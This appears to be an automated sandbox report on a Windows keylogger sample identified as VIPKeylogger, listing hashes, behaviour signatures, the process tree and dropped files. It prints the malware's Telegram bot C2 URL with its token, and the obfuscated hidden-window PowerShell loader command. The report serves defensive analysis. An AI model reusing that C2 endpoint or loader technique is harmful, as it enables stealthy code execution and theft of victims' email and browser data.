Analysis

  • max time kernel
    147s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-12-2024 15:31

General

  • Target

    pedido-035241.exe

  • Size

    1.0MB

  • MD5

    68ad57514cfb4e1cb4529556dbbc9b73

  • SHA1

    3681d090c965cd8af1c7bffd6fe5427e997daa41

  • SHA256

    4b0c3d89a63dc1f177379ea05642c3c3b377adc560b26c7a41aebd2ed1afe9ac

  • SHA512

    f2ef34f8ad5282676bdc3913007d471cc59e1bf20c5371817b3c85a2c24c19983d3c6c2f5e00bb539fc6596a0b02b4a33e59a4391a4165c22e0cbf2edd103f5a

  • SSDEEP

    24576:ENrNYo6GP6fzfqUC1tkth3VwV5k7j5awX300zQUGtZq:U+S6fziUC1wh3VwXgj5aEkHUGtZq

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7268913379:AAGd-tQ4vpps-mce2n9ECDznKp3DeHYACWw/sendMessage?chat_id=7763958191

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\pedido-035241.exe
    "C:\Users\Admin\AppData\Local\Temp\pedido-035241.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4056
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Veges95=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\takelma.Uns';$Makulaturs=$Veges95.SubString(71268,3);.$Makulaturs($Veges95) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:228
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:1144

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pvah5jia.imd.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Unpursuing.Ecc

    Filesize

    290KB

    MD5

    ac443ed3bcda8fd27eab8e4719631588

    SHA1

    6e501a1d2959a2279c67ff2b635950b72c537df8

    SHA256

    050e2941abcf6621568720f75c7d27b1bc7b57f4a2db95dd44701aab68996042

    SHA512

    f4e6440cecee0b5c2197e1f77757501b45cfa1fb14389944b3f775e5611accf946a1d6625e8758592636f26f05f41aed7309de4b6cae22cb1a3b8d18730df69c

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\takelma.Uns

    Filesize

    69KB

    MD5

    5c166ac0df5b33d27a3157ff3484b1d8

    SHA1

    14f38ae3f4ed43ab6f47cad5859e4494408092c5

    SHA256

    c1203a1fc75a7592b8916f61c403ca3eebed1b1d84cd3c7eaa89187ee665229c

    SHA512

    89a6e8a42ac4fc4b8618c3e79300126e49128c238e91f557a573edd7905a8fb35cb601e422b0a55ee74ccbb274e228314cf27741e8b3b70b532d3980328e89b1

  • C:\Users\Admin\AppData\Local\Temp\nswAF2D.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    675c4948e1efc929edcabfe67148eddd

    SHA1

    f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

    SHA256

    1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

    SHA512

    61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

  • memory/228-12-0x0000000073F5E000-0x0000000073F5F000-memory.dmp

    Filesize

    4KB

  • memory/228-13-0x0000000004940000-0x0000000004976000-memory.dmp

    Filesize

    216KB

  • memory/228-14-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/228-15-0x0000000004FB0000-0x00000000055D8000-memory.dmp

    Filesize

    6.2MB

  • memory/228-16-0x0000000004EE0000-0x0000000004F02000-memory.dmp

    Filesize

    136KB

  • memory/228-18-0x0000000005650000-0x00000000056B6000-memory.dmp

    Filesize

    408KB

  • memory/228-17-0x00000000055E0000-0x0000000005646000-memory.dmp

    Filesize

    408KB

  • memory/228-24-0x0000000005870000-0x0000000005BC4000-memory.dmp

    Filesize

    3.3MB

  • memory/228-29-0x0000000005EC0000-0x0000000005EDE000-memory.dmp

    Filesize

    120KB

  • memory/228-30-0x0000000005EF0000-0x0000000005F3C000-memory.dmp

    Filesize

    304KB

  • memory/228-32-0x0000000006390000-0x00000000063AA000-memory.dmp

    Filesize

    104KB

  • memory/228-31-0x0000000006E90000-0x0000000006F26000-memory.dmp

    Filesize

    600KB

  • memory/228-33-0x0000000006400000-0x0000000006422000-memory.dmp

    Filesize

    136KB

  • memory/228-34-0x0000000007510000-0x0000000007AB4000-memory.dmp

    Filesize

    5.6MB

  • memory/228-36-0x0000000008140000-0x00000000087BA000-memory.dmp

    Filesize

    6.5MB

  • memory/228-37-0x00000000072B0000-0x00000000072E2000-memory.dmp

    Filesize

    200KB

  • memory/228-48-0x0000000007290000-0x00000000072AE000-memory.dmp

    Filesize

    120KB

  • memory/228-38-0x00000000703E0000-0x000000007042C000-memory.dmp

    Filesize

    304KB

  • memory/228-50-0x0000000007300000-0x00000000073A3000-memory.dmp

    Filesize

    652KB

  • memory/228-49-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/228-51-0x0000000007420000-0x000000000742A000-memory.dmp

    Filesize

    40KB

  • memory/228-52-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/228-53-0x0000000007440000-0x0000000007451000-memory.dmp

    Filesize

    68KB

  • memory/228-54-0x0000000007490000-0x000000000749E000-memory.dmp

    Filesize

    56KB

  • memory/228-55-0x00000000074A0000-0x00000000074B4000-memory.dmp

    Filesize

    80KB

  • memory/228-56-0x00000000074E0000-0x00000000074FA000-memory.dmp

    Filesize

    104KB

  • memory/228-57-0x00000000074D0000-0x00000000074D8000-memory.dmp

    Filesize

    32KB

  • memory/228-59-0x0000000007C20000-0x0000000007C44000-memory.dmp

    Filesize

    144KB

  • memory/228-58-0x00000000074E0000-0x000000000750A000-memory.dmp

    Filesize

    168KB

  • memory/228-60-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/228-62-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/228-64-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/228-65-0x0000000073F5E000-0x0000000073F5F000-memory.dmp

    Filesize

    4KB

  • memory/228-67-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/228-66-0x00000000087C0000-0x000000000CD9B000-memory.dmp

    Filesize

    69.9MB

  • memory/228-68-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/228-69-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/228-71-0x0000000073F50000-0x0000000074700000-memory.dmp

    Filesize

    7.7MB

  • memory/1144-84-0x0000000000800000-0x0000000001A54000-memory.dmp

    Filesize

    18.3MB

  • memory/1144-85-0x0000000000800000-0x0000000001A54000-memory.dmp

    Filesize

    18.3MB

  • memory/1144-86-0x0000000000800000-0x000000000084A000-memory.dmp

    Filesize

    296KB

  • memory/1144-87-0x0000000024000000-0x000000002409C000-memory.dmp

    Filesize

    624KB

  • memory/1144-89-0x0000000024C90000-0x0000000024E52000-memory.dmp

    Filesize

    1.8MB

  • memory/1144-90-0x0000000024440000-0x0000000024490000-memory.dmp

    Filesize

    320KB

  • memory/1144-91-0x0000000025390000-0x00000000258BC000-memory.dmp

    Filesize

    5.2MB

  • memory/1144-94-0x0000000024B70000-0x0000000024C02000-memory.dmp

    Filesize

    584KB

  • memory/1144-95-0x0000000021A80000-0x0000000021A8A000-memory.dmp

    Filesize

    40KB